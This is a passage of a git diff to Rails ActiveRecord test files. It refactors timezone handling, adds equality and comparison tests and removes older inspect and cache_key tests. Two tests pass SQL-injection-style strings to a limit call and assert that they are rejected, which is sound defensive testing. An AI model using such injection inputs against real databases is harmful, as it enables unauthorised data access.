@@ -1417,10 +1563,6 @@ class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCas
test "should generate validation methods for HABTM associations with :validate => true" do
assert_respond_to @pirate, :validate_associated_records_for_parrots
end
-
- test "should not generate validation methods for HABTM associations without :validate => true" do
- assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
- end
end
class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index c5c500279e..67bb405629 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1,4 +1,7 @@
+# encoding: utf-8
+
require "cases/helper"
+require 'active_support/concurrency/latch'
require 'models/post'
require 'models/author'
require 'models/topic'
@@ -7,6 +10,7 @@ require 'models/category'
require 'models/company'
require 'models/customer'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/default'
require 'models/auto_id'
@@ -21,12 +25,10 @@ require 'models/parrot'
require 'models/person'
require 'models/edge'
require 'models/joke'
-require 'models/bulb'
require 'models/bird'
require 'models/car'
require 'models/bulb'
require 'rexml/document'
-require 'active_support/core_ext/exception'
class FirstAbstractClass < ActiveRecord::Base
self.abstract_class = true
@@ -77,22 +79,6 @@ end
class BasicsTest < ActiveRecord::TestCase
fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
- def setup
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
- Time.zone = nil
- end
-
- def test_generated_methods_modules
- modules = Computer.ancestors
- assert modules.include?(Computer::GeneratedFeatureMethods)
- assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
- assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
- "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
- assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
- assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
- end
-
def test_column_names_are_escaped
conn = ActiveRecord::Base.connection
classname = conn.class.name[/[^:]*$/]
@@ -117,15 +103,15 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_columns_should_obey_set_primary_key
- pk = Subscriber.columns.find { |x| x.name == 'nick' }
- assert pk.primary, 'nick should be primary key'
+ pk = Subscriber.columns_hash[Subscriber.primary_key]
+ assert_equal 'nick', pk.name, 'nick should be primary key'
end
def test_primary_key_with_no_id
assert_nil Edge.primary_key
end
- unless current_adapter?(:PostgreSQLAdapter,:OracleAdapter,:SQLServerAdapter)
+ unless current_adapter?(:PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
def test_limit_with_comma
assert Topic.limit("1,2").to_a
end
@@ -136,25 +122,29 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 1, Topic.limit(1).to_a.length
end
+ def test_limit_should_take_value_from_latest_limit
+ assert_equal 1, Topic.limit(2).limit(1).to_a.length
+ end
+
def test_invalid_limit
assert_raises(ArgumentError) do
Topic.limit("asdfadf").to_a
end
end
- def test_limit_should_sanitize_sql_injection_for_limit_without_comas
+ def test_limit_should_sanitize_sql_injection_for_limit_without_commas
assert_raises(ArgumentError) do
Topic.limit("1 select * from schema").to_a
end
end
- def test_limit_should_sanitize_sql_injection_for_limit_with_comas
+ def test_limit_should_sanitize_sql_injection_for_limit_with_commas
assert_raises(ArgumentError) do
Topic.limit("1, 7 procedure help()").to_a
end
end
- unless current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+ unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
def test_limit_should_allow_sql_literal
assert_equal 1, Topic.limit(Arel.sql('2-1')).to_a.length
end
@@ -171,19 +161,11 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_preserving_date_objects
- if current_adapter?(:SybaseAdapter)
- # Sybase ctlib does not (yet?) support the date type; use datetime instead.
- assert_kind_of(
- Time, Topic.find(1).last_read,
- "The last_read attribute should be of the Time class"
- )
- else
- # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
- assert_kind_of(
- Date, Topic.find(1).last_read,
- "The last_read attribute should be of the Date class"
- )
- end
+ # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+ assert_kind_of(
+ Date, Topic.find(1).last_read,
+ "The last_read attribute should be of the Date class"
+ )
end
def test_previously_changed
@@ -223,7 +205,7 @@ class BasicsTest < ActiveRecord::TestCase
)
# For adapters which support microsecond resolution.
- if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLite3Adapter)
+ if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) || mysql_56?
assert_equal 11, Topic.find(1).written_on.sec
assert_equal 223300, Topic.find(1).written_on.usec
assert_equal 9900, Topic.find(2).written_on.usec
@@ -233,7 +215,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
time = Time.local(2000)
topic = Topic.create('written_on' => time)
saved_time = Topic.find(topic.id).reload.written_on
@@ -246,7 +228,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
Time.use_zone 'Central Time (US & Canada)' do
time = Time.zone.local(2000)
topic = Topic.create('written_on' => time)
@@ -261,18 +243,20 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
with_env_tz 'America/New_York' do
- time = Time.utc(2000)
- topic = Topic.create('written_on' => time)
- saved_time = Topic.find(topic.id).reload.written_on
- assert_equal time, saved_time
- assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
- assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+ with_timezone_config default: :local do
+ time = Time.utc(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+ assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+ end
end
end
def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
Time.use_zone 'Central Time (US & Canada)' do
time = Time.zone.local(2000)
topic = Topic.create('written_on' => time)
@@ -301,13 +285,11 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_initialize_with_invalid_attribute
- begin
- Topic.new({ "title" => "test",
- "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31"})
- rescue ActiveRecord::MultiparameterAssignmentErrors => ex
- assert_equal(1, ex.errors.size)
- assert_equal("last_read", ex.errors[0].attribute)
- end
+ Topic.new({ "title" => "test",
+ "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31"})
+ rescue ActiveRecord::MultiparameterAssignmentErrors => ex
+ assert_equal(1, ex.errors.size)
+ assert_equal("last_read", ex.errors[0].attribute)
end
def test_create_after_initialize_without_block
@@ -322,32 +304,17 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal(true, cb.frickinawesome)
end
- def test_first_or_create
- parrot = Bird.first_or_create(:color => 'green', :name => 'parrot')
- assert parrot.persisted?
- the_same_parrot = Bird.first_or_create(:color => 'yellow', :name => 'macaw')
- assert_equal parrot, the_same_parrot
- end
-
- def test_first_or_create_bang
- assert_raises(ActiveRecord::RecordInvalid) { Bird.first_or_create! }
- parrot = Bird.first_or_create!(:color => 'green', :name => 'parrot')
- assert parrot.persisted?
- the_same_parrot = Bird.first_or_create!(:color => 'yellow', :name => 'macaw')
- assert_equal parrot, the_same_parrot
- end
-
- def test_first_or_initialize
- parrot = Bird.first_or_initialize(:color => 'green', :name => 'parrot')
- assert_kind_of Bird, parrot
- assert !parrot.persisted?
- assert parrot.new_record?
- assert parrot.valid?
+ def test_create_after_initialize_with_array_param
+ cbs = CustomBulb.create([{ name: 'Dude' }, { name: 'Bob' }])
+ assert_equal 'Dude', cbs[0].name
+ assert_equal 'Bob', cbs[1].name
+ assert cbs[0].frickinawesome
+ assert !cbs[1].frickinawesome
end
def test_load
topics = Topic.all.merge!(:order => 'id').to_a
- assert_equal(4, topics.size)
+ assert_equal(5, topics.size)
assert_equal(topics(:first).title, topics.first.title)
end
@@ -472,7 +439,7 @@ class BasicsTest < ActiveRecord::TestCase
Post.reset_table_name
end
- if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
def test_update_all_with_order_and_limit
assert_equal 1, Topic.limit(1).order('id DESC').update_all(:content => 'bulk updated!')
end
@@ -506,28 +473,28 @@ class BasicsTest < ActiveRecord::TestCase
end
end
- # Oracle, and Sybase do not have a TIME datatype.
- unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+ # Oracle does not have a TIME datatype.
+ unless current_adapter?(:OracleAdapter)
def test_utc_as_time_zone
- Topic.default_timezone = :utc
- attributes = { "bonus_time" => "5:42:00AM" }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
- Topic.default_timezone = :local
+ with_timezone_config default: :utc do
+ attributes = { "bonus_time" => "5:42:00AM" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ end
end
def test_utc_as_time_zone_and_new
- Topic.default_timezone = :utc
- attributes = { "bonus_time(1i)"=>"2000",
- "bonus_time(2i)"=>"1",
- "bonus_time(3i)"=>"1",
- "bonus_time(4i)"=>"10",
- "bonus_time(5i)"=>"35",
- "bonus_time(6i)"=>"50" }
- topic = Topic.new(attributes)
- assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
- Topic.default_timezone = :local
+ with_timezone_config default: :utc do
+ attributes = { "bonus_time(1i)"=>"2000",
+ "bonus_time(2i)"=>"1",
+ "bonus_time(3i)"=>"1",
+ "bonus_time(4i)"=>"10",
+ "bonus_time(5i)"=>"35",
+ "bonus_time(6i)"=>"50" }
+ topic = Topic.new(attributes)
+ assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+ end
end
end
@@ -541,12 +508,7 @@ class BasicsTest < ActiveRecord::TestCase
topic = Topic.find(topic.id)
assert_nil topic.last_read
- # Sybase adapter does not allow nulls in boolean columns
- if current_adapter?(:SybaseAdapter)
- assert topic.approved == false
- else
- assert_nil topic.approved
- end
+ assert_nil topic.approved
end
def test_equality
@@ -557,8 +519,17 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal Topic.find('1-meowmeow'), Topic.find(1)
end
+ def test_find_by_slug_with_array
+ assert_equal Topic.find(['1-meowmeow', '2-hello']), Topic.find([1, 2])
+ end
+
+ def test_find_by_slug_with_range
+ assert_equal Topic.where(id: '1-meowmeow'..'2-hello'), Topic.where(id: 1..2)
+ end
+
def test_equality_of_new_records
assert_not_equal Topic.new, Topic.new
+ assert_equal false, Topic.new == Topic.new
end
def test_equality_of_destroyed_records
@@ -570,23 +541,94 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal topic_2, topic_1
end
+ def test_equality_with_blank_ids
+ one = Subscriber.new(:id => '')
+ two = Subscriber.new(:id => '')
+ assert_equal one, two
+ end
+
+ def test_equality_of_relation_and_collection_proxy
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert car.bulbs == Bulb.where(car_id: car.id), 'CollectionProxy should be comparable with Relation'
+ assert Bulb.where(car_id: car.id) == car.bulbs, 'Relation should be comparable with CollectionProxy'
+ end
+
+ def test_equality_of_relation_and_array
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert Bulb.where(car_id: car.id) == car.bulbs.to_a, 'Relation should be comparable with Array'
+ end
+
+ def test_equality_of_relation_and_association_relation
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), 'Relation should be comparable with AssociationRelation'
+ assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), 'AssociationRelation should be comparable with Relation'
+ end
+
+ def test_equality_of_collection_proxy_and_association_relation
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert_equal car.bulbs, car.bulbs.includes(:car), 'CollectionProxy should be comparable with AssociationRelation'
+ assert_equal car.bulbs.includes(:car), car.bulbs, 'AssociationRelation should be comparable with CollectionProxy'
+ end
+
def test_hashing
assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
end
- def test_comparison
+ def test_successful_comparison_of_like_class_records
topic_1 = Topic.create!
topic_2 = Topic.create!
assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
end
+ def test_failed_comparison_of_unlike_class_records
+ assert_raises ArgumentError do
+ [ topics(:first), posts(:welcome) ].sort
+ end
+ end
+
+ def test_create_without_prepared_statement
+ topic = Topic.connection.unprepared_statement do
+ Topic.create(:title => 'foo')
+ end
+
+ assert_equal topic, Topic.find(topic.id)
+ end
+
+ def test_destroy_without_prepared_statement
+ topic = Topic.create(title: 'foo')
+ Topic.connection.unprepared_statement do
+ Topic.find(topic.id).destroy
+ end
+
+ assert_equal nil, Topic.find_by_id(topic.id)
+ end
+
def test_comparison_with_different_objects
topic = Topic.create
category = Category.create(:name => "comparison")
assert_nil topic <=> category
end
+ def test_comparison_with_different_objects_in_array
+ topic = Topic.create
+ assert_raises(ArgumentError) do
+ [1, topic].sort
+ end
+ end
+
def test_readonly_attributes
assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
@@ -594,16 +636,30 @@ class BasicsTest < ActiveRecord::TestCase
post.reload
assert_equal "cannot change this", post.title
- post.update_attributes(:title => "try to change", :body => "changed")
+ post.update(title: "try to change", body: "changed")
post.reload
assert_equal "cannot change this", post.title
assert_equal "changed", post.body
end
- def test_attr_readonly_is_class_level_setting
- post = ReadonlyTitlePost.new
- assert_raise(NoMethodError) { post._attr_readonly = [:title] }
- assert_deprecated { post._attr_readonly }
+ def test_unicode_column_name
+ Weird.reset_column_information
+ weird = Weird.create(:ãªã¾ãˆ => 'ãŸã“焼ãä»®é¢')
+ assert_equal 'ãŸã“焼ãä»®é¢', weird.ãªã¾ãˆ
+ end
+
+ unless current_adapter?(:PostgreSQLAdapter)
+ def test_respect_internal_encoding
+ old_default_internal = Encoding.default_internal
+ silence_warnings { Encoding.default_internal = "EUC-JP" }
+
+ Weird.reset_column_information
+
+ assert_equal ["EUC-JP"], Weird.columns.map {|c| c.name.encoding.name }.uniq
+ ensure
+ silence_warnings { Encoding.default_internal = old_default_internal }
+ Weird.reset_column_information
+ end
end
def test_non_valid_identifier_column_name
@@ -625,20 +681,22 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_attributes_on_dummy_time
- # Oracle, and Sybase do not have a TIME datatype.
- return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+ # Oracle does not have a TIME datatype.
+ return true if current_adapter?(:OracleAdapter)
- attributes = {
- "bonus_time" => "5:42:00AM"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ with_timezone_config default: :local do
+ attributes = {
+ "bonus_time" => "5:42:00AM"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ end
end
def test_attributes_on_dummy_time_with_invalid_time
- # Oracle, and Sybase do not have a TIME datatype.
- return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+ # Oracle does not have a TIME datatype.
+ return true if current_adapter?(:OracleAdapter)
attributes = {
"bonus_time" => "not a time"
@@ -725,8 +783,14 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal("c", duped_topic.title)
end
+ DeveloperSalary = Struct.new(:amount)
def test_dup_with_aggregate_of_same_name_as_attribute
- dev = DeveloperWithAggregate.find(1)
+ developer_with_aggregate = Class.new(ActiveRecord::Base) do
+ self.table_name = 'developers'
+ composed_of :salary, :class_name => 'BasicsTest::DeveloperSalary', :mapping => [%w(salary amount)]
+ end
+
+ dev = developer_with_aggregate.find(1)
assert_kind_of DeveloperSalary, dev.salary
dup = nil
@@ -821,88 +885,26 @@ class BasicsTest < ActiveRecord::TestCase
# TODO: extend defaults tests to other databases!
if current_adapter?(:PostgreSQLAdapter)
def test_default
- tz = Default.default_timezone
- Default.default_timezone = :local
- default = Default.new
- Default.default_timezone = tz
-
- # fixed dates / times
- assert_equal Date.new(2004, 1, 1), default.fixed_date
- assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
-
- # char types
- assert_equal 'Y', default.char1
- assert_equal 'a varchar field', default.char2
- assert_equal 'a text field', default.char3
- end
-
- class Geometric < ActiveRecord::Base; end
- def test_geometric_content
-
- # accepted format notes:
- # ()'s aren't required
- # values can be a mix of float or integer
-
- g = Geometric.new(
- :a_point => '(5.0, 6.1)',
- #:a_line => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
- :a_line_segment => '(2.0, 3), (5.5, 7.0)',
- :a_box => '2.0, 3, 5.5, 7.0',
- :a_path => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]', # [ ] is an open path
- :a_polygon => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
- :a_circle => '<(5.3, 10.4), 2>'
- )
-
- assert g.save
-
- # Reload and check that we have all the geometric attributes.
- h = Geometric.find(g.id)
+ with_timezone_config default: :local do
+ default = Default.new
- assert_equal '(5,6.1)', h.a_point
- assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
- assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
- assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
- assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
- assert_equal '<(5.3,10.4),2>', h.a_circle
+ # fixed dates / times
+ assert_equal Date.new(2004, 1, 1), default.fixed_date
+ assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
- # use a geometric function to test for an open path
- objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
-
- assert_equal true, objs[0].isopen
-
- # test alternate formats when defining the geometric types
-
- g = Geometric.new(
- :a_point => '5.0, 6.1',
- #:a_line => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
- :a_line_segment => '((2.0, 3), (5.5, 7.0))',
- :a_box => '(2.0, 3), (5.5, 7.0)',
- :a_path => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))', # ( ) is a closed path
- :a_polygon => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
- :a_circle => '((5.3, 10.4), 2)'
- )
-
- assert g.save
-
- # Reload and check that we have all the geometric attributes.
- h = Geometric.find(g.id)
-
- assert_equal '(5,6.1)', h.a_point
- assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
- assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
- assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
- assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
- assert_equal '<(5.3,10.4),2>', h.a_circle
-
- # use a geometric function to test for an closed path
- objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
-
- assert_equal true, objs[0].isclosed
+ # char types
+ assert_equal 'Y', default.char1
+ assert_equal 'a varchar field', default.char2
+ assert_equal 'a text field', default.char3
+ end
end
end
class NumericData < ActiveRecord::Base
self.table_name = 'numeric_data'
+
+ attribute :my_house_population, Type::Integer.new
+ attribute :atoms_in_universe, Type::Integer.new
end
def test_big_decimal_conditions
@@ -1002,7 +1004,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_reload_with_exclusive_scope
dev = DeveloperCalledDavid.first
- dev.update_attributes!( :name => "NotDavid" )
+ dev.update!(name: "NotDavid" )
assert_equal dev, dev.reload
end
@@ -1042,7 +1044,7 @@ class BasicsTest < ActiveRecord::TestCase
Joke.reset_sequence_name
end
- def test_dont_clear_inheritnce_column_when_setting_explicitly
+ def test_dont_clear_inheritance_column_when_setting_explicitly
Joke.inheritance_column = "my_type"
before_inherit = Joke.inheritance_column
@@ -1082,7 +1084,7 @@ class BasicsTest < ActiveRecord::TestCase
k = Class.new(ak)
k.table_name = "projects"
orig_name = k.sequence_name
- return skip "sequences not supported by db" unless orig_name
+ skip "sequences not supported by db" unless orig_name
assert_equal k.reset_sequence_name, orig_name
end
@@ -1109,7 +1111,7 @@ class BasicsTest < ActiveRecord::TestCase
res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
res7 = nil
assert_nothing_raised do
- res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count(distinct: true)
+ res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").distinct.count
end
assert_equal res6, res7
end
@@ -1160,8 +1162,8 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_find_keeps_multiple_group_values
- combined = Developer.all.merge!(:group => 'developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at').to_a
- assert_equal combined, Developer.all.merge!(:group => ['developers.name', 'developers.salary', 'developers.id', 'developers.created_at', 'developers.updated_at']).to_a
+ combined = Developer.all.merge!(:group => 'developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at, developers.created_on, developers.updated_on').to_a
+ assert_equal combined, Developer.all.merge!(:group => ['developers.name', 'developers.salary', 'developers.id', 'developers.created_at', 'developers.updated_at', 'developers.created_on', 'developers.updated_on']).to_a
end
def test_find_symbol_ordered_last
@@ -1224,93 +1226,6 @@ class BasicsTest < ActiveRecord::TestCase
assert_no_queries { assert true }
end
- def test_to_param_should_return_string
- assert_kind_of String, Client.first.to_param
- end
-
- def test_to_param_returns_id_even_if_not_persisted
- client = Client.new
- client.id = 1
- assert_equal "1", client.to_param
- end
-
- def test_inspect_class
- assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
- assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
- assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
- end
-
- def test_inspect_instance
- topic = topics(:first)
- assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
- end
-
- def test_inspect_new_instance
- assert_match(/Topic id: nil/, Topic.new.inspect)
- end
-
- def test_inspect_limited_select_instance
- assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
- assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
- end
-
- def test_inspect_class_without_table
- assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
- end
-
- def test_attribute_for_inspect
- t = topics(:first)
- t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
-
- assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
- assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
- end
-
- def test_becomes
- assert_kind_of Reply, topics(:first).becomes(Reply)
- assert_equal "The First Topic", topics(:first).becomes(Reply).title
- end
-
- def test_becomes_includes_errors
- company = Company.new(:name => nil)
- assert !company.valid?
- original_errors = company.errors
- client = company.becomes(Client)
- assert_equal original_errors, client.errors
- end
-
- def test_silence_sets_log_level_to_error_in_block
- original_logger = ActiveRecord::Base.logger
-
- assert_deprecated do
- log = StringIO.new
- ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
- ActiveRecord::Base.logger.level = Logger::DEBUG
- ActiveRecord::Base.silence do
- ActiveRecord::Base.logger.warn "warn"
- ActiveRecord::Base.logger.error "error"
- end
- assert_equal "error\n", log.string
- end
- ensure
- ActiveRecord::Base.logger = original_logger
- end
-
- def test_silence_sets_log_level_back_to_level_before_yield
- original_logger = ActiveRecord::Base.logger
-
- assert_deprecated do
- log = StringIO.new
- ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
- ActiveRecord::Base.logger.level = Logger::WARN
- ActiveRecord::Base.silence do
- end
- assert_equal Logger::WARN, ActiveRecord::Base.logger.level
- end
- ensure
- ActiveRecord::Base.logger = original_logger
- end
-
def test_benchmark_with_log_level
original_logger = ActiveRecord::Base.logger
log = StringIO.new
@@ -1341,20 +1256,40 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_compute_type_nonexistent_constant
- assert_raises NameError do
+ e = assert_raises NameError do
ActiveRecord::Base.send :compute_type, 'NonexistentModel'
end
+ assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message
+ assert_equal 'ActiveRecord::Base::NonexistentModel', e.name
end
def test_compute_type_no_method_error
- ActiveSupport::Dependencies.stubs(:constantize).raises(NoMethodError)
+ ActiveSupport::Dependencies.stubs(:safe_constantize).raises(NoMethodError)
assert_raises NoMethodError do
ActiveRecord::Base.send :compute_type, 'InvalidModel'
end
end
+ def test_compute_type_on_undefined_method
+ error = nil
+ begin
+ Class.new(Author) do
+ alias_method :foo, :bar
+ end
+ rescue => e
+ error = e
+ end
+
+ ActiveSupport::Dependencies.stubs(:safe_constantize).raises(e)
+
+ exception = assert_raises NameError do
+ ActiveRecord::Base.send :compute_type, 'InvalidModel'
+ end
+ assert_equal error.message, exception.message
+ end
+
def test_compute_type_argument_error
- ActiveSupport::Dependencies.stubs(:constantize).raises(ArgumentError)
+ ActiveSupport::Dependencies.stubs(:safe_constantize).raises(ArgumentError)
assert_raises ArgumentError do
ActiveRecord::Base.send :compute_type, 'InvalidModel'
end
@@ -1362,10 +1297,13 @@ class BasicsTest < ActiveRecord::TestCase
def test_clear_cache!
# preheat cache
- c1 = Post.connection.schema_cache.columns['posts']
+ c1 = Post.connection.schema_cache.columns('posts')
ActiveRecord::Base.clear_cache!
- c2 = Post.connection.schema_cache.columns['posts']
- assert_not_equal c1, c2
+ c2 = Post.connection.schema_cache.columns('posts')
+ c1.each_with_index do |v, i|
+ assert_not_same v, c2[i]
+ end
+ assert_equal c1, c2
end
def test_current_scope_is_reset
@@ -1373,9 +1311,9 @@ class BasicsTest < ActiveRecord::TestCase
UnloadablePost.send(:current_scope=, UnloadablePost.all)
UnloadablePost.unloadable
- assert_not_nil Thread.current[:UnloadablePost_current_scope]
+ assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost")
ActiveSupport::Dependencies.remove_unloadable_constants!
- assert_nil Thread.current[:UnloadablePost_current_scope]
+ assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost")
ensure
Object.class_eval{ remove_const :UnloadablePost } if defined?(UnloadablePost)
end
@@ -1405,6 +1343,37 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 1, post.comments.length
end
+ if Process.respond_to?(:fork) && !in_memory_db?
+ def test_marshal_between_processes
+ # Define a new model to ensure there are no caches
+ if self.class.const_defined?("Post", false)
+ flunk "there should be no post constant"
+ end
+
+ self.class.const_set("Post", Class.new(ActiveRecord::Base) {
+ has_many :comments
+ })
+
+ rd, wr = IO.pipe
+ rd.binmode
+ wr.binmode
+
+ ActiveRecord::Base.connection_handler.clear_all_connections!
+
+ fork do
+ rd.close
+ post = Post.new
+ post.comments.build
+ wr.write Marshal.dump(post)
+ wr.close
+ end
+
+ wr.close
+ assert Marshal.load rd.read
+ rd.close
+ end
+ end
+
def test_marshalling_new_record_round_trip_with_associations
post = Post.new
post.comments.build
@@ -1427,49 +1396,11 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal [], AbstractCompany.attribute_names
end
- def test_cache_key_for_existing_record_is_not_timezone_dependent
- ActiveRecord::Base.time_zone_aware_attributes = true
-
- Time.zone = "UTC"
- utc_key = Developer.first.cache_key
-
- Time.zone = "EST"
- est_key = Developer.first.cache_key
-
- assert_equal utc_key, est_key
- end
-
- def test_cache_key_format_for_existing_record_with_updated_at
- dev = Developer.first
- assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
- end
-
- def test_cache_key_format_for_existing_record_with_updated_at_and_cache_timestamp_format_set
- dev = CachedDeveloper.first
- assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
- end
-
- def test_cache_key_changes_when_child_touched
- car = Car.create
- Bulb.create(car: car)
-
- key = car.cache_key
- car.bulb.touch
- car.reload
- assert_not_equal key, car.cache_key
- end
-
- def test_cache_key_format_for_existing_record_with_nil_updated_at
- dev = Developer.first
- dev.update_columns(updated_at: nil)
- assert_match(/\/#{dev.id}$/, dev.cache_key)
- end
-
- def test_cache_key_format_is_precise_enough
- dev = Developer.first
- key = dev.cache_key
- dev.touch
- assert_not_equal key, dev.cache_key
+ def test_touch_should_raise_error_on_a_new_object
